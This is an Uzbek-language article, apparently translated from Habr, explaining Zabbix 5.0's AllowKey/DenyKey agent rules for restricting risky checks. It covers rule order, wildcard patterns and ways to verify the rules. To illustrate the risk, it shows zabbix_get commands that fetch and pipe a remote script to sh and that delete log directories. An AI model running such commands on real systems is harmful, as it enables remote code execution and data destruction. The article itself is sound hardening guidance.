Zabbix 5.0 da agent tomoni ko'rsatkichlari uchun qora ro'yxatga olish va oq ro'yxatga qo'shishni qo'llab-quvvatlash

Zabbix 5.0 da agent tomoni ko'rsatkichlari uchun qora ro'yxatga olish va oq ro'yxatga qo'shishni qo'llab-quvvatlash

Agent tomoni ko'rsatkichlari uchun qora ro'yxat va oq ro'yxatni qo'llab-quvvatlash

Tixon Uskov, Integratsiya muhandisi, Zabbix

Ma'lumotlar xavfsizligi muammolari

Zabbix 5.0 yangi xususiyatga ega bo'lib, u Zabbix Agent yordamida tizimlarda xavfsizlikni yaxshilashga imkon beradi va eski parametrni almashtiradi. EnableRemoteCommands.

Agentga asoslangan tizimlar xavfsizligini yaxshilash agentning ko'p sonli potentsial xavfli harakatlarni amalga oshirishi mumkinligidan kelib chiqadi.

  • Agent konfiguratsiya fayllari, jurnal fayllari, parol fayllari yoki boshqa har qanday fayllardan deyarli har qanday ma'lumotni, shu jumladan maxfiy yoki potentsial xavfli ma'lumotlarni to'plashi mumkin.

Masalan, zabbix_get yordam dasturidan foydalanib, siz foydalanuvchilar ro'yxati, ularning uy kataloglari, parol fayllari va boshqalarga kirishingiz mumkin.

Zabbix 5.0 da agent tomoni ko'rsatkichlari uchun qora ro'yxatga olish va oq ro'yxatga qo'shishni qo'llab-quvvatlash

Zabbix_get yordam dasturi yordamida ma'lumotlarga kirish

Eslatma. Ma'lumotlarni faqat agent tegishli faylda o'qish ruxsatiga ega bo'lsagina olish mumkin. Lekin, masalan, fayl /etc/passwd/ barcha foydalanuvchilar tomonidan o'qilishi mumkin.

  • Agent potentsial xavfli buyruqlarni ham bajarishi mumkin. Masalan, kalit *system.run[]** sizga tarmoq tugunlarida har qanday masofaviy buyruqlarni, shu jumladan agent tomonidagi buyruqlarni bajaradigan Zabbix veb-interfeysidan ishlaydigan skriptlarni bajarishga imkon beradi.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Linuxda agent sukut bo'yicha ildiz huquqlarisiz ishlaydi, Windowsda esa u Tizim sifatida xizmat qiladi va fayl tizimiga cheklanmagan kirish huquqiga ega. Shunga ko'ra, agar o'rnatishdan keyin Zabbix Agent parametrlariga hech qanday o'zgartirish kiritilmasa, agent registrga, fayl tizimiga kirish huquqiga ega va WMI so'rovlarini bajarishi mumkin.

Oldingi versiyalarda parametr EnableRemoteCommands=0 faqat kalit bilan ko'rsatkichlarni o'chirishga ruxsat beriladi *system.run[]** va veb-interfeysdan ishlaydigan skriptlar, lekin alohida fayllarga kirishni cheklash, agent bilan o'rnatilgan alohida kalitlarga ruxsat berish yoki o'chirish yoki individual parametrlardan foydalanishni cheklashning hech qanday usuli yo'q edi.

Zabbix 5.0 da agent tomoni ko'rsatkichlari uchun qora ro'yxatga olish va oq ro'yxatga qo'shishni qo'llab-quvvatlash

Zabbixning oldingi versiyalarida EnableRemoteCommand parametridan foydalanish

AllowKey/DenyKey

Zabbix 5.0 agent tomonida ko'rsatkichlarga ruxsat berish va rad etish uchun oq ro'yxatlar va qora ro'yxatlarni taqdim etish orqali bunday ruxsatsiz kirishdan himoya qilishga yordam beradi.

Zabbix 5.0 da barcha kalitlar, shu jumladan *system.run[]** yoqilgan va ikkita yangi agent konfiguratsiya opsiyasi qo‘shilgan:

AllowKey= — ruxsat etilgan tekshirishlar;

DenyKey = — taqiqlangan cheklar;

bu erda metabelgilardan (*) foydalanadigan parametrlarga ega kalit nom namunasi.

AllowKey va DenyKey tugmalari ma'lum bir naqsh asosida individual ko'rsatkichlarga ruxsat berish yoki rad etish imkonini beradi. Boshqa konfiguratsiya parametrlaridan farqli o'laroq, AllowKey/DenyKey parametrlari soni cheklanmagan. Bu sizga agentning tizimda aniq nima qila olishini aniq belgilash imkonini beradi cheklar daraxti - bajariladigan kalitlar, bu erda ularni yozish tartibi juda muhim rol o'ynaydi.

Qoidalar ketma-ketligi

Qoidalar konfiguratsiya fayliga kiritilgan tartibda tekshiriladi. Kalit birinchi o'yindan oldin qoidalarga muvofiq tekshiriladi va ma'lumotlar elementining kaliti naqshga mos kelishi bilanoq ruxsat beriladi yoki rad etiladi. Shundan so'ng, qoidalarni tekshirish to'xtaydi va qolgan tugmalar e'tiborga olinmaydi.

Shuning uchun, agar element ruxsat berish va rad etish qoidasiga mos keladigan bo'lsa, natija konfiguratsiya faylida qaysi qoida birinchi bo'lishiga bog'liq bo'ladi.

Zabbix 5.0 da agent tomoni ko'rsatkichlari uchun qora ro'yxatga olish va oq ro'yxatga qo'shishni qo'llab-quvvatlash

Xuddi shu naqsh va kalit bilan 2 xil qoidalar vfs.file.size[/tmp/file]

AllowKey/DenyKey tugmalaridan foydalanish tartibi:

  1. aniq qoidalar,
  2. umumiy qoidalar,
  3. taqiqlovchi qoida.

Misol uchun, agar sizga ma'lum bir papkadagi fayllarga kirish kerak bo'lsa, avval ularga kirishga ruxsat berishingiz kerak, keyin esa belgilangan ruxsatnomalarga kirmaydigan barcha narsalarni rad etishingiz kerak. Agar birinchi navbatda rad etish qoidasi ishlatilsa, jildga kirish taqiqlanadi.

Zabbix 5.0 da agent tomoni ko'rsatkichlari uchun qora ro'yxatga olish va oq ro'yxatga qo'shishni qo'llab-quvvatlash

To'g'ri ketma-ketlik

Agar siz ikkita yordamchi dasturga * orqali ishlashga ruxsat berishingiz kerak bo'lsasystem.run[]** va birinchi navbatda rad etish qoidasi ko‘rsatiladi, yordamchi dasturlar ishga tushmaydi, chunki birinchi naqsh har doim istalgan kalitga mos keladi va keyingi qoidalar e’tiborga olinmaydi.

Zabbix 5.0 da agent tomoni ko'rsatkichlari uchun qora ro'yxatga olish va oq ro'yxatga qo'shishni qo'llab-quvvatlash

Noto'g'ri ketma-ketlik

Naqshlar

Asosiy qoidalar

Pattern - joker belgilarga ega ifoda. Metabelgi (*) ma'lum bir pozitsiyadagi istalgan belgilar soniga mos keladi. Metabelgilar kalit nomida ham, parametrlarda ham ishlatilishi mumkin. Masalan, siz birinchi parametrni matn bilan aniq belgilashingiz mumkin, va keyingisini joker belgi sifatida belgilang.

Parametrlar kvadrat qavslar [] ichiga olinishi kerak.

  • system.run[* - noto'g'ri
  • vfs.file*.txt] - noto'g'ri
  • vfs.file.*[*] - to'g'ri

Joker belgilardan foydalanishga misollar.

  1. Kalit nomida va parametrda. Bunday holda, kalit parametrni o'z ichiga olmaydigan shunga o'xshash kalitga mos kelmaydi, chunki naqshda biz kalit nomining ma'lum bir oxirini va ma'lum parametrlar to'plamini olishni xohlayotganimizni ko'rsatdik.
  2. Agar naqsh kvadrat qavslardan foydalanmasa, naqsh parametrlarni o'z ichiga olmaydigan barcha tugmachalarga ruxsat beradi va belgilangan parametrni o'z ichiga olgan barcha kalitlarni rad etadi.
  3. Agar kalit to'liq yozilgan bo'lsa va parametrlar joker belgi sifatida ko'rsatilgan bo'lsa, u har qanday parametrlarga o'xshash har qanday kalitga mos keladi va kvadrat qavssiz kalitga mos kelmaydi, ya'ni ruxsat beriladi yoki rad etiladi.

Zabbix 5.0 da agent tomoni ko'rsatkichlari uchun qora ro'yxatga olish va oq ro'yxatga qo'shishni qo'llab-quvvatlash

Parametrlarni to'ldirish qoidalari.

  • Parametrlari bo'lgan kalit foydalanish uchun mo'ljallangan bo'lsa, parametrlar konfiguratsiya faylida ko'rsatilishi kerak. Parametrlar metabelgi sifatida ko'rsatilishi kerak. Har qanday faylga kirishni diqqat bilan rad etish va metrikaning turli xil imlolarda qanday ma'lumotlarni taqdim etishi mumkinligini hisobga olish kerak - parametrlar bilan va parametrlarsiz.

Zabbix 5.0 da agent tomoni ko'rsatkichlari uchun qora ro'yxatga olish va oq ro'yxatga qo'shishni qo'llab-quvvatlash

Parametrli kalitlarni yozish xususiyatlari

  • Agar kalit parametrlar bilan ko'rsatilgan bo'lsa, lekin parametrlar ixtiyoriy bo'lsa va metabelgi sifatida ko'rsatilgan bo'lsa, parametrsiz kalit hal qilinadi. Misol uchun, agar siz protsessordagi yuk haqida ma'lumot olishni o'chirib qo'ymoqchi bo'lsangiz va system.cpu.load[*] tugmachasini o'chirib qo'yish kerakligini belgilasangiz, parametrsiz kalit o'rtacha yuk qiymatini qaytarishini unutmang.

Zabbix 5.0 da agent tomoni ko'rsatkichlari uchun qora ro'yxatga olish va oq ro'yxatga qo'shishni qo'llab-quvvatlash

Parametrlarni to'ldirish qoidalari

Eslatmalar

moslashish

  • Ba'zi qoidalarni foydalanuvchi o'zgartira olmaydi, masalan, kashfiyot qoidalari yoki agentni avtomatik ro'yxatdan o'tkazish qoidalari. AllowKey/DenyKey qoidalari quyidagi parametrlarga ta'sir qilmaydi:
    - Xost nomi elementi
    - HostMetadataItem
    - HostInterfaceItem

Eslatma. Agar ma'mur kalitni o'chirib qo'ysa, so'ralganda Zabbix nima uchun ko'rsatkich yoki kalit ' toifasiga kirishi haqida ma'lumot bermaydi.QO'LLAB-QUVVATLAMAGAN'. Masofaviy buyruqlarni bajarish taqiqlari haqidagi ma'lumotlar agent jurnali fayllarida ham ko'rsatilmaydi. Bu xavfsizlik sabablarga ko'ra, lekin agar ko'rsatkichlar negadir qo'llab-quvvatlanmaydigan toifaga kirsa, disk raskadrovkani murakkablashtirishi mumkin..

  • Tashqi konfiguratsiya fayllarini ulashda (masalan, alifbo tartibida) hech qanday aniq buyurtmaga tayanmasligingiz kerak.

Buyruqlar qatori yordamchi dasturlari

Qoidalarni o'rnatganingizdan so'ng, hamma narsa to'g'ri tuzilganligiga ishonch hosil qilishingiz kerak.

Siz uchta variantdan birini ishlatishingiz mumkin:

  • Zabbix-ga ko'rsatkich qo'shing.
  • bilan sinov zabbix_agentd. Variant bilan Zabbix agenti -chop etish (-p) konfiguratsiya tomonidan ruxsat etilmaganlardan tashqari barcha kalitlarni (sukut bo'yicha ruxsat etilgan) ko'rsatadi. Va variant bilan -test (-t) chunki taqiqlangan kalit qaytib keladi 'Qo'llab-quvvatlanmaydigan element kaliti'.
  • bilan sinov zabbix_get. Qulaylik zabbix_get variant bilan -k qaytadi 'ZBX_NOTSUPPORTED: Noma'lum ko'rsatkich'.

Ruxsat bering yoki rad qiling

Siz faylga kirishni rad qilishingiz va masalan, yordamchi dastur yordamida tekshirishingiz mumkin zabbix_getfaylga kirish taqiqlangan.

Zabbix 5.0 da agent tomoni ko'rsatkichlari uchun qora ro'yxatga olish va oq ro'yxatga qo'shishni qo'llab-quvvatlash

**

Eslatma. Parametrdagi tirnoqlar e'tiborga olinmaydi.

Bunday holda, bunday faylga kirishga boshqa yo'l orqali ruxsat berilishi mumkin. Misol uchun, agar symlink unga olib kelsa.

Zabbix 5.0 da agent tomoni ko'rsatkichlari uchun qora ro'yxatga olish va oq ro'yxatga qo'shishni qo'llab-quvvatlash

Belgilangan qoidalarni qo'llashning turli xil variantlarini tekshirish, shuningdek, taqiqlarni chetlab o'tish imkoniyatlarini hisobga olish tavsiya etiladi.

Savol va Javob

Sizning savolingiz. Nima uchun qoidalar, ruxsat va taqiqlarni tasvirlash uchun o'z tiliga ega bo'lgan bunday murakkab naqsh tanlangan? Nega, masalan, Zabbix ishlatadigan oddiy iboralarni ishlatish mumkin emas edi?

Javob bering. Bu regex ishlash muammosi, chunki odatda faqat bitta agent mavjud va u juda ko'p ko'rsatkichlarni tekshiradi. Regex - bu juda og'ir operatsiya va biz minglab ko'rsatkichlarni shu tarzda tekshira olmaymiz. Joker belgilar - universal, keng qo'llaniladigan va oddiy echim.

Sizning savolingiz. Include fayllari alifbo tartibida kiritilmaganmi?

Javob bering. Men bilishimcha, agar siz qoidalarni turli fayllar bo'ylab tarqatsangiz, qoidalar qo'llanilishi tartibini oldindan aytish deyarli mumkin emas. Men barcha AllowKey/DenyKey qoidalarini bitta Include faylida to'plashni tavsiya qilaman, chunki ular bir-biri bilan o'zaro ta'sir qiladi va shu faylni o'z ichiga oladi..

Sizning savolingiz. Zabbix 5.0 da variant 'EnableRemoteCommands=' konfiguratsiya faylida yo'q va faqat AllowKey/DenyKey mavjudmi?

Javob. Ha hammasi to'g'ri.

E'tiboringiz uchun tashakkur!

Manba: www.habr.com

a Izoh qo'shish